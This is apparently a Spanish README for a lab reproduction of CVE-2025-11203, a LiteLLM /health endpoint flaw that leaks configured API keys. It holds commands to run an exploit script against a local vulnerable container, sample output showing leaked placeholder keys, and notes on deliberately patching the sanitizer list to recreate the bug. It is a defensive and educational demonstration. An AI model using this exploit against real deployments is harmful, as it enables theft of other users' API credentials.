
El código para reproducir personalmente la vulnerabilidad correspondiente
En LiteLLM (versiones < 1.63.14), el endpoint
/health, al procesar el parámetroapi_key, no filtra correctamente la información sensible, lo que permite que los usuarios autenticados obtengan las API Key almacenadas en la configuración de otros modelos. El campoapi_key, que debería eliminarse mediante la función_clean_endpoint_data(), se filtra en ciertas rutas de código.
| Campo | Valor |
|---|
| CVE | CVE-2025-11203 |
| ZDI ID | ZDI-25-929 (ZDI-CAN-26585) |
| CVSS v3.0 | 3.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N |
| CWE | CWE-200 (Exposición de información sensible a un actor no autorizado) |
| Afectado | LiteLLM < 1.63.14 |
| Corregido | v1.63.14+ (aplicación completa de _clean_endpoint_data()) |
| Publicado | 2025-10-29 |
| Descubierto por | David Fiser & Alfredo Oliveira — Trend Micro Security Research |
| Notificado al proveedor | 2025-03-25 |
| Enlaces | ZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq |
El endpoint /health de LiteLLM se utiliza para devolver el estado de salud de todos los modelos configurados. En circunstancias normales, la función _clean_endpoint_data()
debería eliminar los campos sensibles (como api_key, x-api-key, etc.) de la respuesta de la comprobación de salud.
Sin embargo, antes de la v1.63.14, esta función de limpieza no se ejecutaba o se ejecutaba de forma incompleta en ciertas rutas de código, lo que provocaba que las API Key de la configuración de los modelos se devolvieran en texto plano en la respuesta de la comprobación de salud.
| Endpoint | Método | Descripción |
|---|---|---|
/health | GET | Devuelve el estado de salud de todos los modelos |
/health/liveliness | GET | Comprobación de actividad |
/health/readiness | GET | Comprobación de disponibilidad |
Los usuarios autenticados pueden obtener a través de la interfaz de comprobación de salud:
# 1. 启动脆弱版 LiteLLM
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 运行利用脚本
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key
# 4. 查看完整响应
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose
# 5. (可选)验证修复版本
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
Target : http://localhost:4000
API Key : sk-litellm-master-key...
Endpoint : /health
[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
HTTP 200 — OK
[*] Step 2: Scanning for leaked credentials...
[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!
Path : unhealthy_endpoints[0].api_key
Field : api_key
Value : sk-this-is-a-leaked-openai-key...cdef123456 (len=43)
Path : unhealthy_endpoints[1].api_key
Field : api_key
Value : sk-another-leaked-key-789012xy...-789012xyz (len=31)
Path : unhealthy_endpoints[2].api_key
Field : api_key
Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx (len=33)
Models checked: 3
Credentials leaked: 3
[🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!
Nota: El paso 1 tarda ~60s porque LiteLLM comprueba cada modelo ascendente (las claves falsas hacen que cada conexión agote el tiempo de espera). Las claves filtradas aparecen en
unhealthy_endpointsya que las claves falsas no pueden conectarse realmente a OpenAI/Anthropic.
La versión corregida evita la filtración:
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
No API keys found in response.
[+] Expected: keys sanitized by _clean_endpoint_data()
La vulnerabilidad se encuentra en la función _clean_endpoint_data() en litellm/proxy/health_check.py,
que filtra campos sensibles como api_key mediante la lista ILLEGAL_DISPLAY_PARAMS:
ILLEGAL_DISPLAY_PARAMS = [
"messages",
"api_key",
"prompt",
"input",
"vertex_credentials",
"aws_access_key_id",
"aws_secret_access_key",
]
def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
return (
{k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
if details is not False
else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
)
En esta demostración se ha eliminado "api_key" de ILLEGAL_DISPLAY_PARAMS mediante sed,
haciendo que la respuesta de /health devuelva la configuración original del modelo, simulando el caso en que esta función de limpieza se omite en ciertas rutas de código.
CVE-2025-11203/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM
├── litellm_config.yaml # Config with 3 models + API keys
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│ └── exploit.py # Main exploit script
├── docs/
│ └── advisory.md
└── screenshots/
Corregido en v1.63.14, garantizando que _clean_endpoint_data() se invoque correctamente en todas las rutas de código de la comprobación de salud.
/healthAviso: Este contenido se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.